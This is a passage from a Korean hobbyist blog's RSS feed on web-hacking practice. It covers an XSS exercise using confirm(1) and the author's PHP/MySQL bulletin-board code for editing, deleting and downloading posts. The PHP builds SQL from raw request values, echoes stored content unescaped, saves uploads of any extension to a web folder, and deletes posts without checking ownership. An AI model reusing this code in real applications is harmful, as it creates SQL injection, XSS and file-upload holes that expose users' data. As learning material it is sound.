&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;516&quot; data-origin-height=&quot;329&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/no3th/dJMcajhxbrB/xkr1KaNzl2j3QjYCTCJNI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/no3th/dJMcajhxbrB/xkr1KaNzl2j3QjYCTCJNI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/no3th/dJMcajhxbrB/xkr1KaNzl2j3QjYCTCJNI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fno3th%2FdJMcajhxbrB%2Fxkr1KaNzl2j3QjYCTCJNI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;516&quot; height=&quot;329&quot; data-origin-width=&quot;516&quot; data-origin-height=&quot;329&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1138&quot; data-origin-height=&quot;412&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cAXDil/dJMcagrB0od/VBa4kMXZfOIXtasbzzTPO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cAXDil/dJMcagrB0od/VBa4kMXZfOIXtasbzzTPO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cAXDil/dJMcagrB0od/VBa4kMXZfOIXtasbzzTPO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcAXDil%2FdJMcagrB0od%2FVBa4kMXZfOIXtasbzzTPO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1138&quot; height=&quot;412&quot; data-origin-width=&quot;1138&quot; data-origin-height=&quot;412&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;prompt&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;565&quot; data-origin-height=&quot;336&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbVBzP/dJMcaa51ba3/BmlAwXOXWNWhBpJjWdMxQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbVBzP/dJMcaa51ba3/BmlAwXOXWNWhBpJjWdMxQ0/img.png&quot; data-alt=&quot;confirm(1)임~~&amp;amp;lt;&amp;amp;gt;는 오타&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbVBzP/dJMcaa51ba3/BmlAwXOXWNWhBpJjWdMxQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbVBzP%2FdJMcaa51ba3%2FBmlAwXOXWNWhBpJjWdMxQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;565&quot; height=&quot;336&quot; data-origin-width=&quot;565&quot; data-origin-height=&quot;336&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;confirm(1)임~~&amp;lt;&amp;gt;는 오타&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1056&quot; data-origin-height=&quot;389&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IxEag/dJMcacbGut7/kIbh3MtGzKNk6EFKxkcyaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IxEag/dJMcacbGut7/kIbh3MtGzKNk6EFKxkcyaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IxEag/dJMcacbGut7/kIbh3MtGzKNk6EFKxkcyaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIxEag%2FdJMcacbGut7%2FkIbh3MtGzKNk6EFKxkcyaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1056&quot; height=&quot;389&quot; data-origin-width=&quot;1056&quot; data-origin-height=&quot;389&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;confirm&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/16</guid>
      <comments>https://songtoy.tistory.com/16#entry16comment</comments>
      <pubDate>Sun, 8 Mar 2026 21:10:16 +0900</pubDate>
    </item>
    <item>
      <title>PHP + MySQL 게시판 제작 - 게시글 수정</title>
      <link>https://songtoy.tistory.com/15</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;삭제는 너무너무 쉽고.. 간단하고.... 사랑스러웠는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수정은 진짜&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하면서 내가 이렇게 빡대가리였나 싶고,,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 수정도 그냥 글이랑 내용만 수정하면 쉽지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일이 들어가는 순간 지옥을 맛봤어요&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1191&quot; data-origin-height=&quot;1279&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tMWUz/dJMcacPB3zp/hQERlwYFZDhv1QbnkFFubK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tMWUz/dJMcacPB3zp/hQERlwYFZDhv1QbnkFFubK/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tMWUz/dJMcacPB3zp/hQERlwYFZDhv1QbnkFFubK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtMWUz%2FdJMcacPB3zp%2FhQERlwYFZDhv1QbnkFFubK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1191&quot; height=&quot;1279&quot; data-origin-width=&quot;1191&quot; data-origin-height=&quot;1279&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 아직도 정확히 이해 못한거같음;;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;글고 기존파일삭제에 체크하면 팝업창으로&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;[새 파일 선택 시 기존 파일은 자동으로 삭제됩니다]&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;이거 띄우고싶었는데 이건 자바스크립트라 그래서 패스...&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 파일이 존재하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 기존 파일 삭제에 체크하거나&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 다른 파일로 바꾸기 위해서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 파일을 DELETE 해줘야함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존파일 삭제에 체크해서 DELETE하는거 까진 이해했음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 다른 파일로 바꾸는게 진짜 개어려웠는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계속 UPDATE만 하려고하니까&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존파일 삭제했는데 어떻게 UPDATE를 하지?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;UPDATE하려면 기존 file_id가 있어야하는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하느라 진전이 없었다ㅠㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국엔 UPDATE가 아니라 INSERT로 타협봄&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ update.php ]&lt;/p&gt;
&lt;pre id=&quot;code_1771250734775&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
	include 'lib.php';
	$num = $_GET['num'];
	$sql = &quot;SELECT * FROM board LEFT JOIN file_upload ON board.file_id = file_upload.file_id WHERE num=$num&quot;;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
?&amp;gt;

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
	&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
	&amp;lt;title&amp;gt;&amp;lt;?php echo $row['title']; ?&amp;gt;&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;
&amp;lt;?php
	if ($_SESSION['name'] == $row['name']) { ?&amp;gt;
	&amp;lt;form method=&quot;POST&quot; action=&quot;updateok.php&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
	&amp;lt;input type=&quot;hidden&quot; method=&quot;POST&quot; name=&quot;num&quot; value=&quot;&amp;lt;?= $row['num']; ?&amp;gt;&quot;&amp;gt;
		&amp;lt;table border=1&amp;gt;
		&amp;lt;tbody&amp;gt;
			&amp;lt;tr&amp;gt;
				&amp;lt;td&amp;gt;이름&amp;lt;/td&amp;gt;
				&amp;lt;td&amp;gt;&amp;lt;?= $row['name']; ?&amp;gt;&amp;lt;/td&amp;gt;
			&amp;lt;/tr&amp;gt;
			&amp;lt;tr&amp;gt;
				&amp;lt;td&amp;gt;제목&amp;lt;/td&amp;gt;
				&amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;title&quot; style=&quot;width:700px&quot; value=&quot;&amp;lt;?php echo $row['title'];?&amp;gt;&quot;&amp;gt;&amp;lt;/td&amp;gt;
			&amp;lt;/tr&amp;gt;
			&amp;lt;tr&amp;gt;
				&amp;lt;td&amp;gt;내용&amp;lt;/td&amp;gt;
				&amp;lt;td&amp;gt;&amp;lt;textarea name=&quot;content&quot; style=&quot;width:700px; height: 500px;&quot;&amp;gt;&amp;lt;?php echo $row['content'];?&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/td&amp;gt;
			&amp;lt;/tr&amp;gt;
			&amp;lt;tr&amp;gt;
				&amp;lt;td&amp;gt;파일&amp;lt;/td&amp;gt;
				&amp;lt;td&amp;gt;&amp;lt;?php if ($row['file_id']) { ?&amp;gt;
					&amp;lt;?= $row['file_name']; ?&amp;gt;
					&amp;lt;input type=&quot;checkbox&quot; name=&quot;file_delete&quot;&amp;gt;기존 파일 삭제&amp;lt;br&amp;gt;
				&amp;lt;font color=&quot;red&quot;&amp;gt;(새 파일 선택 시 기존 파일은 자동으로 삭제됩니다)&amp;lt;/font&amp;gt;&amp;lt;br&amp;gt;&amp;lt;?php } ?&amp;gt;
					&amp;lt;input type=&quot;file&quot; name=&quot;upload_file&quot;&amp;gt;&amp;lt;/td&amp;gt;
			&amp;lt;/tr&amp;gt;
		&amp;lt;/tbody&amp;gt;
		&amp;lt;/table&amp;gt;
		&amp;lt;br&amp;gt;
		&amp;lt;input type=&quot;submit&quot; value=&quot;수정하기&quot;&amp;gt;
		&amp;lt;/form&amp;gt;
		&amp;lt;?php } else {
		echo &quot;&amp;lt;script&amp;gt;alert('수정은 본인만 가능합니다'); window.location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
	}
	?&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ updateok.php ]&lt;/p&gt;
&lt;pre id=&quot;code_1771250756139&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
	include 'lib.php';
	$num = $_POST['num'];
	$title = $_POST['title'];
	$content = $_POST['content'];
	
	$result = mysqli_query($conn, &quot;SELECT * FROM board WHERE num = '$num'&quot;);
	$row = mysqli_fetch_assoc($result);
	$old_file_id = $row['file_id'];
	
	mysqli_query($conn, &quot;UPDATE board SET title='$title', content='$content' WHERE num='$num'&quot;);
	
	if (isset($_POST['file_delete']) || ($_FILES['upload_file']['error'] == 0)) {
		
		if ($old_file_id != NULL) {
			$f = mysqli_query($conn, &quot;SELECT * FROM file_upload WHERE file_id = '$old_file_id'&quot;);
			$file_row = mysqli_fetch_assoc($f);
		
			unlink(&quot;./uploads/&quot;.$file_row['file_save']);
			mysqli_query($conn, &quot;DELETE FROM file_upload WHERE file_id='$old_file_id'&quot;);
		}
			mysqli_query($conn, &quot;UPDATE board SET file_id = NULL WHERE num = '$num'&quot;);
	}
	
	if ($_FILES['upload_file']['error'] == 0) {
		
		$filename = $_FILES['upload_file']['name'];
		$tmp_name = $_FILES['upload_file']['tmp_name'];
		$e = substr($filename, strrpos($filename, '.') + 1);
		
		$new_file_id = md5(uniqid(rand(), true));
		$path = $new_file_id.'.'.$e;
			
		$folder = &quot;./uploads/$path&quot;;
			move_uploaded_file($tmp_name, $folder);
			
			mysqli_query($conn, 
			&quot;INSERT INTO file_upload(file_id, file_name, file_save, up_time) VALUES ('$new_file_id', '$filename', '$path', now())&quot;);
			mysqli_query($conn, &quot;UPDATE board SET file_id = '$new_file_id' WHERE num = '$num'&quot;);
	}
	mysqli_close($conn);
?&amp;gt;

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
	&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
	&amp;lt;title&amp;gt;수정&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;
&amp;lt;script&amp;gt;alert('수정되었습니다'); window.location.href='view.php?num=&amp;lt;?php echo $num ?&amp;gt;';&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭘 하나 건드리면 하나 안되고...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;update가 잘 되니까 view가 안되고..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엉망진창이었다ㅠㅠㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계속 맞게한거같은데 안돼서 지피티한테 물어보니까&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번엔 중괄호 위치가 잘못됐다그러구,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래도 여차저차 되긴됐다는게 넘 신기..........&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/15</guid>
      <comments>https://songtoy.tistory.com/15#entry15comment</comments>
      <pubDate>Mon, 16 Feb 2026 23:11:21 +0900</pubDate>
    </item>
    <item>
      <title>PHP + MySQL 게시판 제작 - 게시물 삭제</title>
      <link>https://songtoy.tistory.com/14</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnwSQn/dJMcaivtHkd/kDxycSUwzgco62KjGSBQz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnwSQn/dJMcaivtHkd/kDxycSUwzgco62KjGSBQz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnwSQn/dJMcaivtHkd/kDxycSUwzgco62KjGSBQz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnwSQn%2FdJMcaivtHkd%2FkDxycSUwzgco62KjGSBQz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;572&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;572&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;삭제는 쉬움..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ delete.php ]&lt;/p&gt;
&lt;pre id=&quot;code_1771232266677&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
	include 'lib.php';
?&amp;gt;

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
	&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
	&amp;lt;title&amp;gt;삭제&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;
&amp;lt;?php
	if (isset($_SESSION['id'])) { ?&amp;gt;
	&amp;lt;script&amp;gt;
	if (confirm('정말 삭제하시겠습니까?')) {
		window.location.href='deleteok.php?num=&amp;lt;?php echo $_GET['num'];?&amp;gt;';
		} else { history.back();
	};
	&amp;lt;/script&amp;gt;
	&amp;lt;?php } else {
		echo &quot;&amp;lt;script&amp;gt;alert('삭제는 본인만 가능합니다'); window.location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
	}
	?&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ deleteok.php ]&lt;/p&gt;
&lt;pre id=&quot;code_1771232299178&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
	include 'lib.php';
	$num = $_GET['num'];
	$sql = &quot;DELETE FROM board WHERE num=$num;&quot;;
	mysqli_query($conn, $sql);
	
	mysqli_close($conn);
?&amp;gt;

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
	&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
	&amp;lt;title&amp;gt;삭제&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;
&amp;lt;script&amp;gt;alert('삭제되었습니다'); window.location.href='board.php';&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;삭제는 너무너무 쉬웠어요...........................&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 무시무시한 수정이 기다리고있음&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/14</guid>
      <comments>https://songtoy.tistory.com/14#entry14comment</comments>
      <pubDate>Mon, 16 Feb 2026 22:25:51 +0900</pubDate>
    </item>
    <item>
      <title>PHP + MySQL 게시판 제작 - 파일 다운로드</title>
      <link>https://songtoy.tistory.com/13</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;첨부파일을 누르면 파일이 저장된다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1092&quot; data-origin-height=&quot;1192&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/O0YTB/dJMcaioLlRP/btFH3WGMP8ct9Ysa7ko1k0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/O0YTB/dJMcaioLlRP/btFH3WGMP8ct9Ysa7ko1k0/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/O0YTB/dJMcaioLlRP/btFH3WGMP8ct9Ysa7ko1k0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FO0YTB%2FdJMcaioLlRP%2FbtFH3WGMP8ct9Ysa7ko1k0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1092&quot; height=&quot;1192&quot; data-origin-width=&quot;1092&quot; data-origin-height=&quot;1192&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 다운로드 기능이 제일제일 어려웠다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;흑흑&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ download.php ]&lt;/p&gt;
&lt;pre id=&quot;code_1771228036049&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
include 'lib.php';

$file_id = $_GET['file'];

$sql = &quot;SELECT * FROM file_upload WHERE file_id = '$file_id'&quot;;
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);

$file_name = $row['file_name'];
$file_save = $row['file_save'];

$file_path = &quot;./uploads/&quot;.$file_save;

header(&quot;Content-Type:application/octet-stream&quot;);
header(&quot;Content-Length:&quot;.filesize($file_path));
header(&quot;Content-Disposition:attachment;filename=$file_name&quot;);

readfile($file_path);
exit;

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Content-type : application/octet-stream&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일의 콘텐츠유형을 알 수 없을 때 파일을 바이너리 형식(0과 1의 구조로 저장)으로 처리하도록 하는 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 타입을 받은 브라우저는 파일을 렌더링하지 않고 강제로 다운로드하게 한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 업로드한 파일이 HTML, JS같은 파일이면 브라우저가 렌더링하면서 스크립트가 실행될 수 있기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안목적으로 넣는거라고 생각하면 됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Content-Length : filesize&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전송될 파일의 총 바이트 크기를 나타내며 다운로드 진행률 표시가 가능하다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Content-Disposition :&amp;nbsp;attachment&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무조건 다운로드하라는 의미&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이게 없으면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1075&quot; data-origin-height=&quot;1198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c98Bg9/dJMcabJWZEp/sWAvQsUcX4RytvnkYwR5kK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c98Bg9/dJMcabJWZEp/sWAvQsUcX4RytvnkYwR5kK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c98Bg9/dJMcabJWZEp/sWAvQsUcX4RytvnkYwR5kK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc98Bg9%2FdJMcabJWZEp%2FsWAvQsUcX4RytvnkYwR5kK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1075&quot; height=&quot;1198&quot; data-origin-width=&quot;1075&quot; data-origin-height=&quot;1198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1394&quot; data-origin-height=&quot;965&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5wrLb/dJMcaiCfWSw/3rXKQVLGxwIanh8RnW82t1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5wrLb/dJMcaiCfWSw/3rXKQVLGxwIanh8RnW82t1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5wrLb/dJMcaiCfWSw/3rXKQVLGxwIanh8RnW82t1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5wrLb%2FdJMcaiCfWSw%2F3rXKQVLGxwIanh8RnW82t1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1394&quot; height=&quot;965&quot; data-origin-width=&quot;1394&quot; data-origin-height=&quot;965&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PHP파일이 저장되고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요렇게 떠버린당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;휴&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/13</guid>
      <comments>https://songtoy.tistory.com/13#entry13comment</comments>
      <pubDate>Mon, 16 Feb 2026 17:29:08 +0900</pubDate>
    </item>
    <item>
      <title>PHP + MySQL 게시판 제작 - 게시글 조회</title>
      <link>https://songtoy.tistory.com/12</link>
